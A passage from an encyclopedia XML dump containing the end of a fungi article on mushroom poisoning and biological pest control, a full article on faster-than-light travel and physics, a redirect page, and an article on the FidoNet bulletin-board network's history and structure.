Hundreds of mushroom species are toxic to humans, causing anything from upset stomachs to [[hallucination]]s to death. Some of the most deadly belong to the genus ''[[Amanita]]'', including ''[[Amanita virosa|A. virosa]]'' (the &quot;Destroying Angel&quot;) and ''[[Amanita phalloides|A. phalloides]]'' (the &quot;Death Cap&quot;). Stomach cramps, vomiting, and diarrhea usually occur within 6-24 hours after ingestion of these mushrooms, followed by a brief period of remission (usually 1-2 days). Patients often fail to present themselves for treatment at this time, assuming that they have recovered. However, within 2-4 weeks [[liver]] and [[kidney]] failure leads to death if untreated. There is no antidote for the toxins in these mushrooms, but [[kidney dialysis]] and administration of [[corticosteroids]] may help. In severe cases, a liver transplant may be necessary (Kaminstein 2002). 

[[Amanita muscaria|Fly agaric]] mushrooms (''A. muscaria'') are also responsible for a large number of poisonings, but these cases rarely result in death. The most common symptoms are nausea and vomiting, drowsiness, and hallucinations. In fact, this species is used ritually and recreationally for its hallucinogenic properties. However, if it is taken in over a long period of time (regularly over more than six months), this species might cause a temporary loss of sight, which can last from several minutes to an hour.

==Fungi in the biological control of pests==

Many fungi compete with other organisms, or directly infect them. Some of those fungi are considered beneficial because they can restrict, and sometimes eliminate, the populations of noxious organisms like pest insects, [[mites]], [[weeds]], [[nematodes]] and other fungi, like those that kill plants. There is much interest on the manipulation of these beneficial fungi for the [[biological control]] of pests. Some of these fungi can be used as [[biopesticides]], like those that kill insects ([[entomopathogenic fungi]]). Specific examples of fungi that have been developed as [[bioinsecticide|bioinsecticides]] are ''[[Beauveria bassiana]]'', ''[[Metarhizium anisopliae]]'', [[Hirsutella]], ''[[Paecilomyces fumosoroseus]]'', and ''[[Verticillium lecanii]]'' (=''[[Lecanicillium lecanii]]'' ).

==References==
* {{cite web
 | url = http://www.healthatoz.com/healthatoz/Atoz/ency/mushroom_poisoning.jsp
 | author = Kaminstein, D.
 | year = 2002
 | title = Mushroom poisoning
 | accessdate = 2006-01-05
 }}

==External links==
* [http://www.britmycolsoc.org.uk/ British Mycological Society]
* [http://www.mycolog.com/fifthtoc.html ''The Fifth Kingdom'']
* [http://www.msafungi.org/ Mycological Society of America]
* [http://www.mykoweb.com/ MykoWeb]
* [http://www.namyco.org/ North American Mycological Society]

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    <title>Faster-than-light</title>
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'''Faster-than-light''' (also '''superluminal''' or '''FTL''') [[Superluminal communication|communications]] and [[interstellar travel|travel]] refer to the propagation of [[information]] or [[matter]] faster than the [[speed of light]]. This concept is a staple of the [[science fiction]] genre, and is also the subject of ongoing scientific study.
{{unsolved|physics|Is it possible to go faster than the speed of light? If so, would it violate the theoretical principles of the universe?}}
== Terminology ==

In the context of this article, FTL actually refers to the transmission of information or matter faster than ''c'', a constant equal to the [[speed of light]] in a vacuum, roughly 300 million metres per second.  This is not quite the same as travelling faster than light, since:
* There are some processes which do propagate faster than ''c'', but which can't actually carry information (See the [[#Apparent FTL|Apparent FTL]] section in this article). 
* Light itself will travel at a speed slower than ''c'' when not in a vacuum (causing [[refraction]]), and in certain materials other particles can travel faster than that speed (but still slower than ''c''), leading to [[Cherenkov radiation]].
Neither of these phenomena violate special relativity or create problems with causality, and thus do not qualify as ''FTL'' as described here.

== Possibility of FTL ==

Faster-Than-Light travel or communication is problematic in a universe that is consistent with Einstein's [[Theory of relativity|Theory of Relativity]].  In a hypothetical universe where [[Newton's laws of motion]] and the [[Galilean_transformation|Galilean transformations]] are exact, rather than approximate, the following would be true:
* Space and time measurements always give the same results in every '[[frame of reference]]'
* Velocities add linearly
* There is nothing fundamental about the [[wave velocity]] of light
* [[Absolute simultaneity|Simultaneity]] is a well-defined concept

However, according to Einstein's theory of [[Special relativity|Special Relativity]], what we measure as the [[speed of light]] in a vacuum is actually the fundamental physical constant ''c''. This means that all observers, regardless of their [[acceleration]] or relative [[velocity]], will always measure zero-mass particles (e.g., [[graviton]]s as well as [[photon]]s) naturally traveling at ''c''.  This result means that measurements of space, time, and velocity are ''not'' consistent between different reference frames, but are instead related by the [[Lorentz transformation|Lorentz transformations]].  These transformations have important implications:

* To accelerate an object of non-zero [[Mass in special relativity|rest mass]] to ''c'' would require infinite time with any finite acceleration, or infinite acceleration for a finite amount of time

* Either way, such acceleration requires infinite energy. Going beyond the speed of light in a homogeneous space would hence require more than infinite energy, which is not a sensible notion.

Because of this, there appear to be only five ways to justify Faster-Than-Light behavior:

=== Option A: Ignore special relativity. ===

This is the simplest solution, and is particularly popular in [[science fiction]]. Empirical evidence unanimously affirms that the universe obeys Einstein's laws rather than Newton's where they disagree. And while physicists consider [[General relativity|General Relativity]] only an approximation (due to its incompatibility with [[quantum mechanics]]), virtually all consider special relativity exact, and there appear to be no serious theoretical challenges to its supremacy.

=== Option B: Get light to go faster. ===

Einstein's equations of special relativity posit that the speed of
light is invariant in inertial frames. That is, it will be the same from
any frame of reference moving at a constant speed. The equations do not
specify any particular value for the speed of the light itself. That is
an experimentally determined quantity.

The experimental determination has been made in vacuum. However the 
vacuum we know is not the only possible vacuum which can exist. The
vacuum has energy associated with it, called the [[vacuum energy]]. This
vacuum energy can be changed in certain cases. When vacuum energy is
lowered, light itself can go faster than the standard value 'c'. Such
a vacuum can be produced by bringing two perfectly smooth metal plates
together at near atomic diameter spacing. It is called a [[Casimir effect#Vacuum energy|Casimir vacuum]].  
Calculations show light will go faster in such a vacuum. However,
there has been no experimental verification, since the technology to
detect the change isn't yet available.

Einstein's equations of special relativity have an implicit assumption
of homogeneity. Space is assumed to be the same everywhere. In the case
of the Casimir vacuum, this assumption is clearly violated. Inside the 
Casimir vacuum, we have homogeneous space, and outside it, we have 
homogeneous space as well. Inside the Casimir vacuum, the equations of 
special relativity will apply with the increased value of the speed of 
light. Outside it, the equations of special relativity will apply with 
the normal 'c'. However, when considering two frames of reference, one 
inside the vacuum, and one outside, the equations of special relativity 
can no longer be applied, since the assumption of homogeneity has been
broken. In other words, the [[Casimir effect]] breaks up space into distinct
homogeneous regions, each of which obey the special relativity laws
separately.

=== Option C: Give up causality. ===

An other approach is to accept special relativity, but to posit that mechanisms allowed by General Relativity (e.g., [[Wormhole|wormholes]]) will allow traveling between two points without going through the intervening space. While this gets around the infinite acceleration problem, it still would lead to [[closed timelike curve]]s (i.e., time travel) and causality violations.  Causality is not required by special or general relativity, but is nonetheless considered a basic property of the universe that should not be abandoned.  Because of this, most physicists expect (or perhaps hope) that [[quantum gravity]] effects will preclude this option.  An alternative is to conjecture that, while time travel is possible, it somehow never leads to paradoxes; this is the [[Novikov self-consistency principle]].

Note that causality is often misunderstood in this context. Just seeing
time in another frame pass in reverse does not violate causality. In a
sense, this is equivalent to recording an event and playing it in
reverse. It is the ability to send a signal back to the past that violates
causality. Moving faster than the speed of light will enable a person
to view events in another frame in reverse time. But just motion faster
than light alone does not allow the sending of signals back into the
past of the other frame. Many cases of faster than light travel do allow
such signalling, and hence are considered unviable. But it is not a
must that causality violation result from faster than light travel.

=== Option D:  Give up (absolute) relativity. ===

Due to the strong empirical support for special relativity, any modifications to it must necessarily be quite subtle and difficult to measure. The most well-known attempt is ''double relativity'', which posits that the [[Planck length]] is also the same in all reference frames, and is associated with the work of [[Giovanni Amelino-Camelia]] and [[João Magueijo]]. One consequence of this theory is a [[variable speed of light]], where photon speed would vary with energy, and some zero-mass particles might possibly travel faster than ''c''. While recent evidence casts doubt on this theory, some physicists still consider it viable. However, even if this theory is true, it is still very unclear that it would allow information to be communicated, and appears not in any case to allow massive particles to exceed ''c''.

There are speculative theories that claim inertia is produced by the combined mass of the universe (e.g., [[Mach%27s principle]]), which implies that the rest frame of the universe might be ''preferred'' by conventional measurements of natural law.  If confirmed, this would imply special relativity is an approximation to a more general theory, but since the relevant comparison would (by definition) be outside the observable universe, it is difficult to imagine (much less construct) experiments to test this hypothesis.

=== Option E: Go somewhere where [[special relativity]] does not apply ===

A very popular option taken in science fiction novels, movies, television programs, and computer games is to assume the existence of some other realm (typically called [[hyperspace (science fiction)|hyperspace]]) which is accessible from this universe, and which facilitates rapid transport between distant points in this universe. To accomplish rapid transport between points in hyperspace, special relativity is often assumed not to apply in this other realm. An alternative solution sometimes used is to posit that distant points in the mundane universe correspond to points that are close together in hyperspace.

This method of faster than light travel does not correspond to anything seriously proposed by mainstream science.

== Tachyons ==

In special relativity, while it is impossible to accelerate an object ''to'' the speed of light, or for a massive object to move ''at'' the speed of light, it is not impossible for an object to exist which always moves faster than light.  The hypothetical [[elementary particle]]s that have this property are called [[tachyon]]s.  Their existence has neither been proven nor disproven.

Tachyons are not structurally stable. The equations of relativity do allow
faster than light travel, since the equations are symmetric about the
velocity 'c', the speed of light. However, any particle which is moving
faster and faster, at velocities less than 'c', ends up with more and
more kinetic energy. This is true even in the classical model, but with
special relativity, as the velocity approaches 'c', the energy goes to
infinity.

Once the velocity crosses 'c', the energy has no place to go but down. In
other words, a particle with mass moving at any speed above 'c' will lose
energy when its velocity goes up even further. Put another way, such a 
particle will speed up when it loses energy.

Everything that moves causes a change in the structure of the fabric of
space. This change in the structure of the fabric of space causes the
formation of gravitational ripples (waves), which carry away energy. In
most cases, the change is negligible. However, for
a particle with mass moving above 'c', even a tiny loss of energy is
troublesome. As mentioned above, it actually increases the velocity,
causing more energy loss, which increases the velocity further. This
positive feedback loop causes the particle to soon reach infinite 
velocity. In effect, the particle vanishes.

This structural instability of tachyons is a significant limitation to
their practical value, if they do indeed exist.

== General relativity ==

[[General relativity]] was developed after special relativity, to include concepts like [[gravity]].  It maintains the principle that no object can accelerate to the
speed of light in its own reference frame.  However, it permits distortions in [[spacetime]] that allow an object to move faster than light from the point of view of a distant observer, even though it always moved slower than light in its own reference frame.  One such distortion is the [[Alcubierre drive]], which can be thought of as producing a ripple in spacetime that carries an object along with it. Another possible system is the [[wormhole]], which connects two distant locations as though by a shortcut. To date there is no feasible way to construct any such special distortion; they all require unknown [[exotic matter]], enormous (though finite) amounts of energy, or both.

General relativity also agrees that any technique for faster than light travel could also be used for [[time travel]]. This raises problems with [[causality]]. Many physicists believe that the above phenomena are in fact impossible, and that future theories of [[gravity]] will prohibit them. One theory states that stable wormholes are possible, but that any attempt to use a network of wormholes to violate causality would result in their decay.

== Apparent FTL ==

=== Moving spot of light ===

Processes which do not transmit information may move faster than light.  A good example is a beam of light projected onto a distant surface, such as the Moon.  The spot which the beam strikes is not a physical object, just a point of light. Moving it (by reorienting the beam) does not carry information between locations on the surface.  To put it another way, the beam can be considered as a stream of photons; where each photon strikes the surface is determined only by the orientation of the beam (assuming that the surface is stationary). If the distance between the beam projector and the surface is sufficiently far, a small change of angle could cause successive photons to strike at widely separated locations, and the spot would appear to move faster than light.  If the surface is at the distance of the moon, a light source mounted on a [[phonograph]] is changing angle rapidly enough to create this effect.  
This effect is believed to be responsible for [[supernova]] ejecta appearing to move faster than light as observed from [[Earth]].

=== Relative motion ===

It is also possible for two objects to move faster than light relative to each other, but only from the point of view of an observer in a third frame of reference, who naively [[Velocity-addition formula|adds velocities]] according to [[Principle of relativity#Galilean relativity|Galilean relativity]]. An observer on either object will see the other object moving slower than light.  

For example, fast-moving particles on opposite sides of a circular [[particle accelerator]] will appear to be moving at slightly less than twice the speed of light, relative to each other, from the point of view of an observer standing at rest relative to the accelerator, and who naively adds velocities according to [[Principle of relativity#Galilean relativity|Galilean relativity]]. However, if the observer has a good intuition of special relativity, and makes a [[Velocity-addition formula|correct calculation]], and the two particles are moving, for example, at velocities &lt;math&gt;\beta&lt;/math&gt; and &lt;math&gt;-\beta&lt;/math&gt;

:&lt;math&gt;\beta = v/c \,\!&lt;/math&gt;
and
:&lt;math&gt;-\beta = -v/c \,\!&lt;/math&gt;,
then from the observer's point of view, the relative velocity &amp;Delta;&amp;beta; (again in units of the speed of light ''c'') is
:&lt;math&gt;\Delta\beta = { \beta - -\beta \over 1 + \beta ^2 } = { 2\beta \over 1 + \beta^2 }&lt;/math&gt;,
which is less than the speed of light.

=== Phase velocities above c ===

The [[phase velocity]] of a [[wave]] can easily exceed c, the vacuum velocity of light. In principle, this can occur even for simple mechanical waves, even without any object moving with velocities close to or above c. However, this does not imply the propagation of [[signal (information theory)|signals]] with a velocity above c.

=== Group velocities above ''c'' ===

Under certain circumstances, even the [[group velocity]] of a wave (e.g. a light beam) can exceed ''c''. In such cases, which typically at the same time involve rapid attenuation of the intensity, the maximum of a pulse may travel with a velocity above ''c''. However, even this situation does not imply the propagation of [[signal (information theory)|signals]] with a velocity above ''c'', even though one may be tempted to associate pulse maxima with signals. The latter association has been shown to be misleading, basically because the information on the arrival of a pulse can be obtained before the pulse maximum arrives. For example, if some mechanism allows the full transmission of the leading part of a pulse while strongly attenuating the pulse maximum and everything behind, the pulse maximum is effectively shifted forward in time, while the information on the pulse does not come faster than without this effect.

=== Universal expansion ===

The expansion of the [[universe]] causes distant galaxies to recede from us faster than the speed of light, if [[Comoving distance]] and cosmological time are used to calculate the speeds of these galaxies. However, in [[general relativity]], velocity is a local notion, so velocity calculated using comoving coordinates does not have any simple relation to velocity calculated locally.

=== Astronomical observations ===

Apparent [[superluminal motion]] is observed in many [[Active galaxy|radio galaxies]], [[blazar]]s, [[quasar]]s and recently also in [[microquasar]]s. The effect was predicted before it was observed, and can be explained as an [[optical illusion]] caused by the object moving in the direction of the observer, when the speed calculations assume it does not. The phenomenon does not contradict the theory of special relativity.
Interestingly, corrected calculations show these object have velocities close to the speed of light (relative to our reference frame). They are the first examples of large amounts of mass moving at close to the speed of light. Earth-bound laboratories have only been able to accelerate small &quot;handfuls&quot; of elementary particles to such speeds.

=== Quantum mechanics ===

Certain phenomena in [[quantum mechanics]], such as [[quantum entanglement]], appear to transmit information faster than light.  These phenomena do not allow true communication; they only let two observers in different locations see the same event simultaneously, without any way of controlling what either sees. The fact that the laws of physics seem to conspire to prevent superluminal communications via quantum mechanics is very interesting and somewhat poorly understood.

The speed of light can have any value within the limits of the [[uncertainty principle]] as demonstrated in any [[Feynman diagram]] that draws a photon at any angle other than 45 degrees.  To quote [[Richard Feynman]]

:''&quot;... there is also an amplitude for light to go faster (or slower) than the conventional speed of light. You found out in the last lecture that light doesn't go only in straight lines; now, you find out that it doesn't go only at the speed of light! It may surprise you that there is an amplitude for a photon to go at speeds faster or slower than the conventional speed, ''c''&quot;'' (from Feynman's book ''QED'', chapter 3, page 89).

However, this does not imply the possibility of superluminal information transmission, as no photon can have an average speed in excess of the speed of light.

There have been various reports in the popular press of experimentally based of faster-than-light transmission in optics &amp;mdash; most often in the context of a kind of [[Quantum tunnelling|quantum tunneling]] phenomenon. Usually, such reports deal with a [[phase velocity]] or [[group velocity]] faster than the vacuum velocity of light. But recall from above, that a superluminal ''[[phase velocity]]'' cannot be used for faster-than-light transmission of information. There has sometimes been confusion concerning the latter point.

As it is currently understood, quantum mechanics is completely consistent with special relativity, and doesn't allow for faster-than-light communication.

==See also==
*[[:Category:Faster-than-light travel]]
*[[:Category:Faster-than-light communication]]

==External links==
*[http://www.wbabin.net/sfarti/sfarti10.pdf Debunking Superluminal Effects] A simple explanation within the framework of special relativity
*[http://www.rp-photonics.com/superluminal_transmission.html Encyclopedia of laser physics and technology on &quot;superluminal transmission&quot;], with more details on phase and group velocity, and on causality
*[http://dustbunny.physics.indiana.edu/~dzierba/HonorsF97/Week1/NYTJuly22.html July 22, 1997, The New York Times Company: Signal Travels Farther and Faster Than Light] Quote: &quot;...&quot;We find,&quot; [http://physics.berkeley.edu/research/faculty/Chiao.html Chiao] said, &quot;that a barrier placed in the path of a tunneling particle does not slow it down. In fact, we detect particles on the other side of the barrier that have made the trip in less time than it would take the particle to traverse an equal distance without a barrier -- in other words, the tunneling speed apparently greatly exceeds the speed of light. Moreover, if you increase the thickness of the barrier the tunneling speed increases, as high as you please...&quot;
*[http://www.aei-potsdam.mpg.de/~mpoessel/Physik/FTL/tunnelingftl.html Markus Pössel: Faster-than-light (FTL) speeds in tunneling experiments: an annotated bibliography] Quote: &quot;...An experiment of theirs, where a single [[photon]] tunnelled through a barrier and its tunneling speed (not a signal speed!) was 1.7 times light speed, is described in Steinberg, A.M., Kwiat, P.G. &amp; R.Y. Chiao 1993: &quot;Measurement of the Single-Photon Tunneling Time&quot; in Physical Review Letter 71, S. 708--711...&quot;
*[http://www.physicsguy.com/ftl/ Relativity and FTL (=Superluminal motion) Travel Homepage]
*[http://www.yellowknife.com/warp/ The Warp Drive: Hyper-Fast Travel Within General Relativity, Miguel Alcubierre Class. Quantum Grav. 11 (1994), L73-L77] Quote: &quot;...It is shown how, within the framework of general relativity and without the introduction of [[wormhole]]s, it is possible to modify a [[spacetime]] in a way that allows a spaceship to travel with an arbitrarily large speed...&quot;
*[http://www.nasa.gov/centers/glenn/research/warp/warpstat.html NASA: Status of &quot;Warp Drive&quot; Maturity - speculation]
*[http://math.ucr.edu/home/baez/physics/Relativity/SpeedOfLight/FTL.html Usenet Physics FAQ: is FTL travel or communication Possible?]
*[http://www.mth.kcl.ac.uk/~streater/GS.html Critique of Geometro-Stochastic Theory]
*[http://scienceworld.wolfram.com/physics/Superluminal.html Superluminal]
*[http://www.cem.msu.edu/~cem181h/projects/98/lightspeed/group.htm The Speed of Light: How Fast Can We Go?]
*[http://www.gallup.unm.edu/~smarandache/physics.htm Smarandache Hypothesis] that there is no speed barrier and one can construct arbitrary speeds
*[http://www.theculture.org/rich/sharpblue/archives/000089.html Relativity, FTL and causality]
*[http://www.safalra.com/science/relativity/tachyons.html Tachyon Theory] - the mathematics of tachyon theory. Quote: &quot;To send a message faster than light using tachyons, we would have to encode the message on a localised tachyon field, and then send it off at superluminal speed. But this is impossible as local tachyon disturbances are subluminal, and superluminal tachyon disturbances cannot be localised.&quot;

[[Category:Science fiction themes]]
[[Category:Relativity]]
[[Category:Warp drive theory]]
[[Category:Physics in fiction]]
[[Category:Interstellar travel]]

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[[ru:Сверхсветовое движение]]
[[zh:超光速]]</text>
    </revision>
  </page>
  <page>
    <title>FTL</title>
    <id>11440</id>
    <revision>
      <id>15909185</id>
      <timestamp>2004-07-26T09:13:08Z</timestamp>
      <contributor>
        <username>Eisnel</username>
        <id>73851</id>
      </contributor>
      <comment>This was a duplicate page about FTL Games. This makes much more sense redirecting to Faster-than-light article. &quot;FTL Games&quot;, not &quot;FTL&quot; is the name of the company. This is a TLA for faster-than-light.</comment>
      <text xml:space="preserve">#REDIRECT [[Faster-than-light]]</text>
    </revision>
  </page>
  <page>
    <title>FidoNet</title>
    <id>11442</id>
    <revision>
      <id>40177406</id>
      <timestamp>2006-02-18T19:33:49Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>/* Disputes */ removed bolding added in my edit</comment>
      <text xml:space="preserve">:''This article is about the BBS network.  For the ISP, see [[Fido.net]].''

[[Image:FidoNet.png|right|thumb|104px|The FidoNet logo]]
'''FidoNet''' is an inter-connecting file and message transport system that was used by [[bulletin board system]]s.  The network still exists today, but is dwindling in size and organization, due to the lack of callers to [[Bulletin board system|BBS]] systems that it was developed to serve, and the closing of most of those systems as a result.

FidoNet was originally founded in [[1984]] by [[Tom Jennings]] of [[San Francisco, California|San Francisco]], [[California]] as a means to network together BBSes that used his own &quot;Fido&quot; BBS software.  Over time, [[list of BBS software|other BBS software]] was independently adapted to support the relevant FidoNet [[protocol (computing)|protocols]], and the network became a popular means for [[hobby|hobbyist]] computer users to communicate.  FidoNet was non-commercial, and mostly popular amongst hobbyist computer users, many of them [[hacker]]s and [[amateur radio|radio amateurs]], before the [[Internet]] became accessible and inexpensive.

==Fidonet organizational structure==
Fidonet is governed in a hierarchical structure according to FidoNet policy [http://www.fidonet.us/policy4.html], with designated coordinators at each level to manage the administration of fidonet nodes and resolve disputes between members.  Network coordinators are responsible for managing the individual nodes within their area, usually a city or similar sized area.  Regional coordinators are responsible for managing the administration of the network coordinators within their region, typically the size of a state, or small country.  Zone coordinators are responsible for managing the administration of all of the regions within their zone.  The world is divided into six zones, the coordinators of which elect one of themselves to be the &quot;International Coordinator&quot; of FidoNet.

==Technical structure==
FidoNet was historically designed to use modem-based [[Dial-up access|dial-up]] access between bulletin board systems, and much of its policy and structure reflected this.

The FidoNet system officially referred only to transfer of &quot;Netmail&quot;&amp;mdash;the individual private messages between people using bulletin boards&amp;mdash;including the protocols and standards with which to support it.  A netmail message would contain the name of the person sending, the name of the intended recipient, and the respective FidoNet addresses of each.  The FidoNet system was responsible for routing the message from one system to the other, with the bulletin board software on each end being responsible for ensuring that only the intended recipient could read it.  Due to the hobbyist nature of the network, any privacy between sender and recipient was only the result of politeness from the owners of the FidoNet systems involved in the mail's transfer.  It was common, however, for system operators to reserve the right to review the content of mail that passed through their system.

Despite FidoNet's focus on Netmail, several other protocols for transferring other kinds of data were built on ''top'' of FidoNet, and are now referred to as being part of it.  The most popular of these is ''Echomail'', comparable with [[Usenet]]-like newsgroups, for public and open discussions.  Other systems allow for the automated distribution of files, and transmission of data for inter-BBS games.  Such protocols typically work by using automated tools to package information, attach it to Netmail messages for transfer via FidoNet or put them into a filebox or some other kind of outbound directory, and unpackage the information on receipt.

===Routing of fidonet mail===

In a theoretical situation, a node would normally forward messages to a ''hub''.  The hub, acting as a distribution point for mail, might then send the message to the Net Coordinator.  From there it may be sent through a Regional Coordinator, or to some other system specifically set up for the function.  Mail to other zones might be sent through a Zone Gate. For example, a fidonet message might follow the path:
*1:170/918.42 ''(point)'' to 1:170/918 ''(node)'' to 1:170/900 ''(hub)'' to 1:170/0 ''(net coordinator)'' to 1:19/0 ''(region coordinator)'' to 1:1/0 ''(zone coordinator)''. From there, it was distributed 'down stream' to the destination node(s).

Part of the objective behind the formation of local nets was to implement cost reduction plans by which all messages would be sent to one or more hubs or hosts in [[compression|compressed form]] (ARC was nominally standard, [[PKZIP]] currently is); one toll call could then be made during off-peak hours to exchange entire message-filled archives with an out-of-town uplink for further redistribution.

In practice, as FidoNet structure allows for any node to connect directly to any other, node operators would sometimes form their own toll-calling arrangements on an ad-hoc basis, allowing for a balance between collective cost saving and timely delivery.  For instance, if one node operator in a network offered to make regular toll calls to a particular system elsewhere, other operators might arrange to forward all of their mail destined for the remote system, and those near it, to the local volunteer.  Operators within individual networks would sometimes have cost-sharing arrangements, but it was also common for people to volunteer to pay for regular toll calls either out of generosity, or to build their status in the community.

This ad-hoc system was particularly popular with networks that were built on top of FidoNet.  Echomail, for instance, often involved relatively large file transfers due to its popularity.  If official FidoNet distrubutors refused to transfer Echomail due to additional toll charges, other node operators would sometimes volunteer.  In such cases, Echomail messages would be routed to the volunteers' systems instead.

As the FidoNet system was best adapted to an environment in which local [[telephone]] service was inexpensive and long-distance calls (or intercity data transfer via [[packet-switched]] [[computer network|networks]]) costly, it fared somewhat poorly in countries such as [[Japan]], where local lines are expensive.  Fidonet was only moderately successful in countries such as [[France]], where tolls on local calls and competition with [[Minitel]] or other data networks traditionally limited its growth.

===Geographic structure===
Fidonet is politically organized into a tree structure, with different parts of the tree electing their respective coordinators.  The Fidonet hierarchy consists of Zones, Regions, Networks, Nodes and Points broken down more-or-less geographically.

The highest level is the Zone which is largely continent based:

* Zone 1 is [[North America]]
* Zone 2 is [[Europe]] and ex-[[USSR]] (including [[Russia]])
* Zone 3 is [[Australasia]]
* Zone 4 is [[South America]]
* Zone 5 is [[Africa]]
* Zone 6 is [[Asia]] (excluding Russia, which was listed in Zone 2)

Each zone is broken down into regions, which are broken down into nets, which consist of individual nodes.  Zones 7-4095 are used for &quot;othernets&quot;; groupings of nodes which use Fido-compatible software to carry their own independent message areas without being in any way controlled by FidoNet's political structure.  Using un-used zone numbers would ensure that each network would have a unique set of addresses, avoiding potential routing conflicts and ambiguities for systems that belonged to more than one network.

Any given node can also support ''points'', if the node operator decided to do so.  A &quot;point&quot; is a system that has a unique address derived from its parent node, but without the point's owner being an official member of FidoNet.  Thus, the sysop who provide a fidonet feed to the point operator is officially responsible for all mail originating from that point, as far as the remainder of the FidoNet network is concerned.  Points were popular among users who did not operate BBS's, but wanted the independence of being able to operate their own message bases and mail reading software.

===Fidonet addresses===

Fidonet addresses explicitly consist of a Zone number, a Network number (or region number), and a Node number.  The Fidonet structure also allows for semantic designation of region, host, and hub status for particular nodes, but this status is not directly indicated by the main address.

For example, consider a node located in [[Tulsa, Oklahoma]], [[United States|USA]] with an assigned node number is 918, located in Zone 1 (North America), Region 19, and Network 170.  The full Fidonet address would be ''1:170/918''.  The ''region'' was for administrative purposes, and was only part of the address if the node was listed directly underneath the Regional Coordinator, rather than one of the networks that were used to divide the region further.  If the system supported ''points'', each point would have its number appended as a suffix, such as ''1:170/918.42''.

Fidonet policy requires that each Fidonet system maintain a ''nodelist'' of every other member system.  Information on each node includes the name of the system or BBS, the name of the node operator, the geographic location, the telephone number, and software capabilities.  The nodelist is updated weekly, to avoid unwanted calls to nodes that had shut down, with their phone numbers possibly having been reassigned for voice use by the respective telephone company.

To accomplish regular updates, coordinators of each network maintain the list of systems in their local areas.  The lists are forwarded back to the International Coordinator via automated systems on a regular basis.  The International Coordinator would then compile a new nodelist, and generate the [[diff|list of changes]] (nodediff) to be distributed for node operators to apply to their existing nodelist.

===Technical specifications===
Fidonet contained several technical specifications for compatibility between systems.  The most basic of all was ''FTS-0001'', with which all fidonet systems were required to comply as a minimal requirement.  FTS-0001 defined:
*Handshaking - the protocols used by mailer software to identify each other and exchange meta information about the session.
*Transfer protocol ''([[XMODEM]])'' - the protocols to be used for transferring files containing fidonet mail between systems.
*Message format - the standard format for fidonet messages during the time which they were exchanged between systems.

Other specifications that were commonly used provided for ''echomail'', different transfer protocols and handshake methods (''e.g.: Yoohoo/Yoohoo2u2, EMSI''), file compression, nodelist format, transfer over reliable connections such as the Internet ([[Binkp]]), and other aspects.

===Zone mail hour===
Since computer bulletin boards historically used the same [[telephone line]]s for transferring mail as were used for dial-in human users of the BBS, FidoNet policy dictates that at least one designated line of each FidoNet node must be available for accepting mail from other FidoNet nodes during a particular hour of each day.

&quot;Zone Mail Hour&quot;, as it was named, varies depending on the geographic location of the node, and was designated to occur during the early morning.  The exact hour varies depending on the time zone, and any node with only one telephone line is required to reject human callers.  In practice, particularly in later times, most FidoNet systems tend to accept mail at any time of day when the phone line is not busy, usually during night.

==Fidonet deployments==
Although monolithic software that encompassed all required functions in one package was available, most FidoNet deployments were designed in a modular fashion.  A typical deployment would involve several applications that would communicate through shared files and directories, and switch between each other through carefully designed [[shell script|scripts]] or [[batch file]]s.

'''Mailer software''' was responsible for transferring files and messages between systems, as well as passing control to other applications, such as the BBS software, at appropriate times.  The mailer would initially answer the phone and, if necessary, deal with incoming mail via FidoNet transfer protocols.  If the mailer answered the phone and a human caller was detected rather than other mailer software, the mailer would exit, and pass control to the BBS software, which would then initialise for interaction with the user.  When outgoing mail was waiting on the local system, the mailer software would attempt to send it from time to time by dialing and connecting to other systems who would accept and route the mail further.  Due to the costs of toll calls which often varied between peak and off-peak times, mailer software would usually allow its operator to configure the optimal times in which to attempt to send mail to other systems.

'''BBS software''' was used to interact with human callers to the system.  BBS software would allow dial-in users to use the system's message bases and write mail to others, locally or on other BBS's.  Mail directed to other BBS's would later be routed and sent by the mailer, usually after the user had finished using the system.  BBS's would often allow users to exchange files, play games, and interact with other users in a variety of ways.

A '''scanner/tosser''' application, such as [[Squish (fidonet)|Squish]], would normally be invoked when a BBS user had entered a new fidonet message that needed to be sent, or when a mailer had received new mail to be imported into the local messages bases.  This application would be responsible for handling the packaging of incoming and outgoing mail, moving it between the local system's message bases and the mailer's inbound and outbound directories.  The scanner/tosser application would generally be responsible for basic routing information, determining which systems to forward mail to.

In later times, '''message readers''' that were independent of BBS software were also developed.  Often the System Operator of a particular BBS would use a devoted message reader, rather than the BBS software itself, to read and write FidoNet and related messages.  In some cases FidoNet nodes, or more often FidoNet points, ''had'' no public bulletin board attached, and existed only for the transfer of mail for the benefit of the node's operator.

The original ''Fido BBS'' software, and much other original fidonet-supporting software, is no longer functional on modern systems.  This is for several reasons, including problems related to the [[Y2K bug]].  In many cases, the original authors have left the [[Bulletin board system|BBS]] or [[shareware]] community, and the software, much of which was [[closed source]], has been rendered [[abandonware]].  Alternative software had been designed to be [[interoperable]] with the same [[standardization|standards]], however, and thus the network is still accessible.

== Disputes ==

Recently, as the size and extent of FidoNet has dwindled, disputes have arisen within the remaining membership, including its Coordinator infrastructure having become fragmented at the higher levels.  This has, in the most part, been due to disputes resulting from the actions of the Z2C, former IC located in Zone 2 (Europe).

One particular dispute arose in 2004 when [[Ward Dossche]], then International Coordinator (IC) as well as the Zone 2 Coordinator, refused to acknowledge a vote by other Zone Coordinators to hold an election for a new IC, thus replacing him with Malcom Miles, at that time the Zone 3 Coordinator.  Dossche argued, to no avail, that because 89% of FidoNet nodes were within Zone 2, his own vote should be worth 89% of the collective and therefore decisive over the other five coordinators.

Since FidoNet's Zone Coordinators acting as a Council ([[ZCC]]), per Fidonet's '''Policy 4.07''', always have the last say in any controversial disputes; Ward Dossche' declaration appointing himself IC of Fidonet was summarily overruled and he was replaced as IC by a 5 to 1 vote of the ZC's.  Meanwhile the other 5 Zones recognize Malcom Miles, Z3C as the newly Elected International Coordinator.

FIDONEWS. the official publication for the network has been edited by various people in various contries.  The current editor is under increasing pressure to resign and appoint a replacement, as the publication seldom has new content and the current editor appears to discourage participation and submissions from Zone 1.  See links below for documentation by one participant

== FidoNet availability ==
While the use of Fidonet has dropped dramatically compared with its use up to the mid-1990s, it is still particularly popular in [[Russia]].  Some BBS's, including those that are now available for users with [[Internet]] connections via [[telnet]], also retain their Fidonet netmail and echomail feeds.

Some of FidoNet's echomail conferences are available via gateways with the Usenet news hierarchy.  There are also mail gates for exchanging messages between Internet and FidoNet.  Widespread net abuse and [[e-mail spam]] on the Internet side has caused some gateways (such as the former 1:1/31 [[IEEE]] fidonet.org gateway) to become unusable or cease operation entirely.

== See also ==

